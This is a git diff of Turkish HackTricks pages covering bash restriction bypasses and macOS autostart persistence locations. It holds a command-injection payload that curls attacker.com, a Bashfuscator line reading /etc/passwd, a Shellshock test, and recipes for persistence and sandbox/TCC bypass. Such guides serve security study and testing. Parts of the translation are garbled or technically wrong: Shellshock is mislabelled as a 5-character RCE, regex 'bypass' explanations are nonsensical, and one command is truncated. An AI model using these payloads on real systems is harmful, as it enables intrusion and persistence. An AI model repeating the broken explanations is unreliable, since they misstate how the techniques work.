- **Karakter Aralığı**: Regex deseninde kullanılan karakter aralığı belirteçleri ([ ]) kullanarak, belirli bir karakter kümesini atlayabilirsiniz. Örneğin, `[a-z]` şeklinde bir desen, küçük harfler arasındaki herhangi bir karakteri atlar.
- **Metakarakterlerin Kaçışı**: Regex deseninde kullanılan metakarakterleri kaçış karakteriyle (\) birlikte kullanarak deseni atlayabilirsiniz. Örneğin, `\.` şeklinde bir desen, nokta karakterini aramak yerine deseni atlar.
- **Alternatifler**: Regex deseninde alternatifler (|) kullanarak, farklı desenleri atlayabilirsiniz. Örneğin, `pattern1|pattern2` şeklinde bir desen, pattern1 veya pattern2'yi atlar.
Bu teknikler, regex desenlerini atlamak için kullanılabilecek bazı yaygın yöntemlerdir. Ancak, her durumda etkili olmayabilirler.
```bash ```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters # A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com` 1%0a`curl http://attacker.com`
``` ```
### Bashfuscator ### Bashfuscator
Bashfuscator, Bash betiklerini anlaşılması zor hale getirmek için kullanılan bir araçtır. Bu araç, betikleri karmaşık hale getirerek, betiklerin anlaşılmasını ve analiz edilmesini zorlaştırır. Bashfuscator, değişken adlarını rastgele karakterlerle değiştirir, gereksiz boşluklar ekler ve kodu parçalara böler. Bu sayede, betiklerin anlaşılması ve analiz edilmesi daha zor hale gelir. Bashfuscator, güvenlik testleri sırasında veya kötü niyetli saldırganlar tarafından kullanılabilir. ### Bashfuscator
```bash ```bash
# From https://github.com/Bashfuscator/Bashfuscator # From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd' ./bashfuscator -c 'cat /etc/passwd'
``` ```
### 5 karakterle RCE (Uzaktan Kod Çalıştırma) ### 5 karakter ile Uzaktan Kod Çalıştırma (RCE)
Bazı durumlarda, hedef sistemdeki bash kısıtlamalarını aşmak için sadece 5 karakter kullanarak uzaktan kod çalıştırma saldırıları gerçekleştirebilirsiniz. Bu yöntem, hedef sistemin güvenlik önlemlerini atlamak için etkili bir yol sağlar.
Bu saldırıyı gerçekleştirmek için aşağıdaki adımları izleyin:
1. İlk olarak, hedef sistemdeki bash sürümünü kontrol edin:
```bash
$ echo $BASH_VERSION
```
2. Ardından, hedef sistemdeki bash sürümüne bağlı olarak aşağıdaki komutları kullanarak RCE saldırısını gerçekleştirin:
- Bash sürümü 4.4 veya daha düşükse:
```bash
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
```
- Bash sürümü 4.4 veya daha yüksekse:
```bash
$ env X='() { (a)=>\' bash -c "echo date"; cat echo
```
Bu yöntem, hedef sistemin bash sürümüne bağlı olarak farklı komutlar kullanır ve sadece 5 karakter kullanarak RCE saldırısı gerçekleştirir. Bu sayede, hedef sistemin güvenlik önlemlerini aşabilir ve uzaktan kod çalıştırabilirsiniz.
```bash ```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge # From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution #Oragnge Tsai solution
@ -545,23 +282,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link ## If there is a file /flag.txt that will create a hard link
## to it in the current folder ## to it in the current folder
``` ```
### 4 karakterle RCE ### 4 karakter ile Uzaktan Kod Çalıştırma (RCE)
Bash kısıtlamalarını atlamak için kullanılan bir yöntemdir. Bu yöntem, sadece 4 karakter kullanarak Uzaktan Kod Çalıştırma (RCE) sağlar.
```bash
$ echo $0
bash
$ echo $BASH_VERSION
4.4.19(1)-release
$ echo $0-$BASH_VERSION
bash-4.4.19(1)-release
```
Bu komutlar, mevcut kabuk ve Bash sürümünü görüntüler. Bu bilgileri kullanarak, RCE gerçekleştirmek için aşağıdaki komutu kullanabilirsiniz:
```bash
$ echo ${0%/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*
```bash ```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands # In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file # it will follow the same principle of creating the command `ls -t>g` in a file
@ -596,15 +317,15 @@ $ echo ${0%/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
'sh x' 'sh x'
'sh g' 'sh g'
``` ```
## Salt-Okunur/Noexec/Distroless Atlama ## Salt-Okuma/Noexec/Distroless Atlatma
Eğer **salt-okunur ve noexec korumaları** olan bir dosya sisteminde veya distroless bir konteyner içindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu bile çalıştırmanın yolları** vardır: Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteyner içindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır:
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %} {% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/) [bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %} {% endcontent-ref %}
## Chroot ve Diğer Hapishaneleri Atlama ## Chroot ve Diğer Hapishaneleri Atlatma
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %} {% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md) [escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
@ -617,24 +338,24 @@ Eğer **salt-okunur ve noexec korumaları** olan bir dosya sisteminde veya distr
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) * [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) * [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı yapmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,29 +2,29 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'de **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
Bu bölüm, [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) blog serisine dayanmaktadır, amacı **daha fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ın en son sürümüyle (13.4) **hala çalışan teknikleri belirtmek** ve gerekli olan **izinleri** belirtmektir. Bu bölüm, [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) blog serisine dayanmaktadır. Amacı, **daha fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ın en son sürümüyle (13.4) **hala çalışan teknikleri belirtmek** ve gerekli olan **izinleri** belirtmektir.
## Kum Havuzu Atlatma ## Kum Havuzu Atlatma
{% hint style="success" %} {% hint style="success" %}
Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulabilirsiniz, bu size **bir dosyaya yazarak** ve çok **yaygın bir** **eylemi bekleyerek**, belirlenmiş bir **zaman miktarı** veya genellikle bir kum havuzundan **kök izinlerine ihtiyaç duymadan** gerçekleştirebileceğiniz bir **eylem** sağlar. Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulabilirsiniz. Bu, bir şeyi **bir dosyaya yazarak** ve bir **çok yaygın eylem**, belirli bir **zaman miktarı** veya genellikle bir kum havuzundan **kök izinleri gerektirmeden** gerçekleştirebileceğiniz bir **eylem** için **bekleyerek** basitçe yürütmenize olanak tanır.
{% endhint %} {% endhint %}
### Launchd ### Launchd
* Kum havuzu atlatma için yararlı: [](https://emojipedia.org/check-mark-button) * Kum havuzu atlatma için kullanışlı: [](https://emojipedia.org/check-mark-button)
* TCC Atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC Atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konumlar #### Konumlar
@ -48,16 +48,16 @@ Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulab
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
**`launchd`**, başlangıçta OX S çekirdeği tarafından çalıştırılan **ilk işlem** ve kapanırken sonuncusudur. Her zaman **PID 1**'e sahip olmalıdır. Bu işlem, **ASEP** **plistlerinde** belirtilen yapılandırmaları **okuyacak ve yürütecek**: **`launchd`**, başlangıçta OX S çekirdeği tarafından yürütülen **ilk işlem** ve kapanırken sonuncusudur. Her zaman **PID 1**'e sahip olmalıdır. Bu işlem, **ASEP** **plistlerinde** belirtilen yapılandırmaları **okuyacak ve yürütecek**:
* `/Library/LaunchAgents`: Yönetici tarafından yüklenen kullanıcı başına ajanlar * `/Library/LaunchAgents`: Yönetici tarafından yüklenen kullanıcı başına ajanlar
* `/Library/LaunchDaemons`: Yönetici tarafından yüklenen sistem genelindeki daemonlar * `/Library/LaunchDaemons`: Yönetici tarafından yüklenen sistem genelinde hizmetler
* `/System/Library/LaunchAgents`: Apple tarafından sağlanan kullanıcı başına ajanlar. * `/System/Library/LaunchAgents`: Apple tarafından sağlanan kullanıcı başına ajanlar.
* `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelindeki daemonlar. * `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelinde hizmetler.
Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumlarındaki plist'ler **oturum açan kullanıcı izinleriyle** başlatılır. Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumlarındaki plist'ler **oturum açan kullanıcı izinleriyle** başlatılır.
**Ajanlar ve daemonlar arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve daemonların sistem başlatıldığında yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce çalıştırılması gerekmektedir). Ayrıca ajanlar GUI kullanabilirken, daemonlar arka planda çalışmalıdır. **Ajanlar ve hizmetler arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve hizmetlerin sistem başlatıldığında yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce yürütülmesi gerekmektedir). Ayrıca ajanlar GUI kullanabilirken, hizmetler arka planda çalışmalıdır.
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
@ -80,13 +80,13 @@ Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/U
</dict> </dict>
</plist> </plist>
``` ```
**Kullanıcı oturum açmadan önce bir ajanın çalıştırılması gereken durumlar** bulunmaktadır, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açma sırasında destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bakın). Bazı durumlarda, **kullanıcı oturum açmadan önce bir ajanın çalıştırılması gerekebilir**, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açılırken destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bakın).
{% hint style="info" %} {% hint style="info" %}
Yeni Daemon'lar veya Ajan'lar yapılandırma dosyaları **bir sonraki yeniden başlatmadan sonra veya** `launchctl load <hedef.plist>` **kullanılarak yüklenecektir**. Ayrıca, `.plist` uzantısız dosyaları `launchctl -F <dosya>` ile yüklemek de mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatma sonrasında yüklenmeyecektir).\ Yeni Daemon veya Ajan yapılandırma dosyaları, **bir sonraki yeniden başlatmadan sonra veya** `launchctl load <hedef.plist>` **kullanılarak yüklenecektir**. Ayrıca, `.plist` uzantısız dosyaları da `launchctl -F <dosya>` ile yüklemek mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatmadan sonra yüklenmeyecektir).\
`launchctl unload <hedef.plist>` ile **yüklemeyi kaldırmak** da mümkündür (bu işaret ettiği işlem sonlandırılacaktır). `launchctl unload <hedef.plist>` ile **boşaltmak** da mümkündür (bu işaret ettiği işlem sonlandırılacaktır).
Bir **Ajanın** veya **Daemon'ın** **çalışmasını engelleyen** bir **geçersiz kılma gibi bir şeyin olmadığından emin olmak** için şunu çalıştırın: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` Bir **Ajanın** veya **Daemon'ın** **çalışmasını engelleyen** bir **geçersiz kılma** gibi **herhangi bir şeyin olmadığından emin olmak için** şunu çalıştırın: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %} {% endhint %}
Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele: Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele:
@ -94,7 +94,7 @@ Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele:
launchctl list launchctl list
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Eğer bir plist dosyası bir kullanıcıya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanıcı olarak** ve root olarak değil çalıştırılacaktır. Bu bazı ayrıcalık yükseltme saldırılarını engelleyebilir. Eğer bir plist dosyası bir kullanıcıya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanıcı olarak** ve kök olarak değil yürütülecektir. Bu bazı ayrıcalık yükseltme saldırılarını önleyebilir.
{% endhint %} {% endhint %}
### kabuk başlangıç dosyaları ### kabuk başlangıç dosyaları
@ -104,29 +104,29 @@ Açıklama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* TCC Atlatma: [](https://emojipedia.org/check-mark-button) * TCC Atlatma: [](https://emojipedia.org/check-mark-button)
* Ancak bu dosyaları yükleyen bir kabuk çalıştıran TCC atlatması olan bir uygulama bulmanız gerekmektedir * Ancak bu dosyaları yükleyen bir kabuk yürüten TCC atlatması olan bir uygulama bulmanız gerekmektedir
#### Konumlar #### Konumlar
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** * **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
* **Tetikleyici**: zsh ile bir terminal açın * **Tetikleyici**: zsh ile bir terminal aç
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** * **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **Tetikleyici**: zsh ile bir terminal açın * **Tetikleyici**: zsh ile bir terminal aç
* Root gereklidir * Kök gereklidir
* **`~/.zlogout`** * **`~/.zlogout`**
* **Tetikleyici**: zsh ile bir terminali kapatın * **Tetikleyici**: zsh ile bir terminali kapat
* **`/etc/zlogout`** * **`/etc/zlogout`**
* **Tetikleyici**: zsh ile bir terminali kapatın * **Tetikleyici**: zsh ile bir terminali kapat
* Root gereklidir * Kök gereklidir
* Muhtemelen daha fazlası: **`man zsh`** * Muhtemelen daha fazlası: **`man zsh`**
* **`~/.bashrc`** * **`~/.bashrc`**
* **Tetikleyici**: bash ile bir terminal açın * **Tetikleyici**: bash ile bir terminal aç
* `/etc/profile` (çalışmadı) * `/etc/profile` (çalışmadı)
* `~/.profile` (çalışmadı) * `~/.profile` (çalışmadı)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` * `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Tetikleyici**: xterm ile tetiklenmesi beklenir, ancak **kurulu değil** ve kurulduktan sonra bile bu hata alınır: xterm: `DISPLAY is not set` * **Tetikleyici**: xterm ile tetiklenmesi beklenir, ancak **kurulu değil** ve kurulduktan sonra bile bu hata alınır: xterm: `DISPLAY is not set`
#### Açıklama & Sömürü #### Açıklama ve Sömürü
`zsh` veya `bash` gibi bir kabuk ortamı başlatıldığında, **belirli başlangıç dosyaları çalıştırılır**. macOS şu anda varsayılan kabuk olarak `/bin/zsh` kullanmaktadır. Bu kabuk, Terminal uygulaması başlatıldığında veya bir cihaz SSH ile erişildiğinde otomatik olarak erişilir. macOS'ta ayrıca `bash` ve `sh` de bulunmaktadır, ancak kullanılmak için açıkça çağrılması gerekmektedir. `zsh` veya `bash` gibi bir kabuk ortamı başlatıldığında, **belirli başlangıç dosyaları çalıştırılır**. macOS şu anda varsayılan kabuk olarak `/bin/zsh` kullanmaktadır. Bu kabuk, Terminal uygulaması başlatıldığında veya bir cihaz SSH ile erişildiğinde otomatik olarak erişilir. macOS'ta ayrıca `bash` ve `sh` de bulunmaktadır, ancak kullanılmak için açıkça çağrılması gerekmektedir.
@ -149,13 +149,13 @@ Belirtilen açığı yapılandırmak ve oturumu kapatıp açmak veya hatta yenid
#### Konum #### Konum
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`** * **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
* **Tetikleyici**: Uygulamaları tekrar açma işlemi yeniden başlatılır * **Tetikleyici**: Uygulamaları yeniden açma işlemi
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Yeniden açılacak tüm uygulamalar, `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` plist dosyasının içindedir. Yeniden açılacak tüm uygulamalar, `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` plist dosyasının içindedir.
Bu nedenle, yeniden açılacak uygulamalar arasına kendi uygulamanızı eklemek için sadece **uygulamanızı listeye eklemeniz yeterlidir**. Bu nedenle, yeniden açılacak uygulamalar arasına kendi uygulamanızı eklemek için **uygulamanızı listeye eklemeniz yeterlidir**.
UUID, bu dizini listelerken veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutu ile bulunabilir. UUID, bu dizini listelerken veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutu ile bulunabilir.
@ -188,7 +188,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
**`~/Library/Preferences`** içerisinde, Kullanıcı Tercihleri Uygulamaların tercihlerini saklar. Bu tercihlerden bazıları, **diğer uygulamalar/skriptleri çalıştırmak** için bir yapılandırma tutabilir. **`~/Library/Preferences`** içerisinde, Kullanıcı Tercihleri Uygulamalarında saklanır. Bu tercihlerin bazıları, **diğer uygulamalar/skriptleri çalıştırmak** için bir yapılandırma tutabilir.
Örneğin, Terminal Başlangıçta bir komutu çalıştırabilir: Örneğin, Terminal Başlangıçta bir komutu çalıştırabilir:
@ -210,7 +210,7 @@ Bu yapılandırma, **`~/Library/Preferences/com.apple.Terminal.plist`** dosyası
} }
[...] [...]
``` ```
Yani, sistemdeki terminal tercihlerinin plist'i üzerine yazılırsa, **`open`** işlevi kullanılarak **terminal açılabilir ve o komut çalıştırılabilir**. Yani, sistemdeki terminalin tercihlerinin plist'i üzerine yazılırsa, **`open`** işlevi kullanılarak **terminal açılabilir ve o komut çalıştırılabilir**.
Bunu terminalden şu şekilde ekleyebilirsiniz: Bunu terminalden şu şekilde ekleyebilirsiniz:
@ -229,7 +229,7 @@ Bunu terminalden şu şekilde ekleyebilirsiniz:
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* TCC atlatma: [](https://emojipedia.org/check-mark-button) * TCC atlatma: [](https://emojipedia.org/check-mark-button)
* Terminal, kullanıcının FDA izinlerine sahip olmasını gerektirir. * Terminal, kullanıcının FDA izinlerine sahip olmasını gerektirir
#### Konum #### Konum
@ -238,7 +238,7 @@ Bunu terminalden şu şekilde ekleyebilirsiniz:
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Eğer bir [**`.terminal`** betiği](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) oluşturursanız ve açarsanız, **Terminal uygulaması** otomatik olarak çağrılacak ve içinde belirtilen komutları çalıştıracaktır. Eğer Terminal uygulamasının özel izinleri varsa (örneğin TCC gibi), komutunuz bu özel izinlerle çalıştırılacaktır. Eğer bir [**`.terminal`** betiği](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) oluşturursanız ve açarsanız, **Terminal uygulaması** otomatik olarak ılacak ve içinde belirtilen komutları çalıştırmak için çağrılacaktır. Eğer Terminal uygulamasının özel izinleri varsa (örneğin TCC gibi), komutunuz bu özel izinlerle çalıştırılacaktır.
Denemek için: Denemek için:
```bash ```bash
@ -275,21 +275,21 @@ Açıklama: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) * TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle)
* Bazı ek TCC erişimine sahip olabilirsiniz * Ek TCC erişimi alabilirsiniz
#### Konum #### Konum
* **`/Library/Audio/Plug-Ins/HAL`** * **`/Library/Audio/Plug-Ins/HAL`**
* Kök erişimi gereklidir * Root gereklidir
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın * **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
* **`/Library/Audio/Plug-ins/Components`** * **`/Library/Audio/Plug-ins/Components`**
* Kök erişimi gereklidir * Root gereklidir
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın * **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
* **`~/Library/Audio/Plug-ins/Components`** * **`~/Library/Audio/Plug-ins/Components`**
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın * **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
* **`/System/Library/Components`** * **`/System/Library/Components`**
* Kök erişimi gereklidir * Root gereklidir
* **Tetik**: coreaudiod veya bilgisayarı yeniden başlatın * **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
#### Açıklama #### Açıklama
@ -301,7 +301,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilb
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) * TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle)
* Bazı ek TCC erişimine sahip olabilirsiniz * Ek TCC erişimi alabilirsiniz
#### Konum #### Konum
@ -365,7 +365,7 @@ Root kullanıcısı **`/private/var/root/Library/Preferences/com.apple.loginwind
## Koşullu Kum Sandığı Atlatma ## Koşullu Kum Sandığı Atlatma
{% hint style="success" %} {% hint style="success" %}
